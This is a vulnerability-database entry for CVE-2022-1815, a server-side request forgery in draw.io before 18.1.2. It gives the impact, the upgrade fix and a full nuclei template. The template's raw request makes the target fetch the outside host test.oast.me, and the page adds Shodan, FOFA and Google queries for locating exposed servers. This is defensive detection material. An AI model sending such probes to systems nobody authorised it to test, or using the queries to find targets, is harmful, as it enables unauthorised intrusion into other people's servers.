HexBrain

Browse / CVEs / CVE-2022-1815

CVE-2022-1815· diagrams / drawio· CWE-918, CWE-200

Drawio <18.1.2 - Server-Side Request Forgery

highseverity
7.5CVSS score
5.4%likelihood of exploitation, next 30 days
93%of all CVEs are less likely
Readycheck to confirm it

Drawio before 18.1.2 is susceptible to server-side request forgery via the /service endpoint in jgraph/drawio. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability could result in unauthorized access to sensitive internal resources or services.

Fix

Upgrade Drawio to version 18.1.2 or later to mitigate the SSRF vulnerability.

How to confirm it

Send: GET /service/0/test.oast.me
Positive when: contains(body, 'Interactsh Server') and status_code == 200

Run it with nuclei: nuclei -id CVE-2022-1815 -u <target>

The full check
id: CVE-2022-1815

info:
  name: Drawio <18.1.2 - Server-Side Request Forgery
  author: amit-jd
  severity: high
  description: |
    Drawio before 18.1.2 is susceptible to server-side request forgery via the /service endpoint in jgraph/drawio.  An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could result in unauthorized access to sensitive internal resources or services.
  remediation: |
    Upgrade Drawio to version 18.1.2 or later to mitigate the SSRF vulnerability.
  reference:
    - https://huntr.dev/bounties/6e856a25-9117-47c6-9375-52f78876902f/
    - https://huntr.dev/bounties/6e856a25-9117-47c6-9375-52f78876902f
    - https://github.com/jgraph/drawio/commit/c287bef9101d024b1fd59d55ecd530f25000f9d8
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1815
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-1815
    cwe-id: CWE-918,CWE-200
    epss-score: 0.05389
    epss-percentile: 0.92736
    cpe: cpe:2.3:a:diagrams:drawio:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: diagrams
    product: drawio
    shodan-query: http.title:"flowchart maker"
    fofa-query: title="flowchart maker"
    google-query: intitle:"flowchart maker"
  tags: cve,cve2022,huntr,drawio,ssrf,oast,oss,jgraph,diagrams,vuln

http:
  - raw:
      - |
        GET /service/0/test.oast.me HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains(body, 'Interactsh Server')"
          - status_code == 200
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from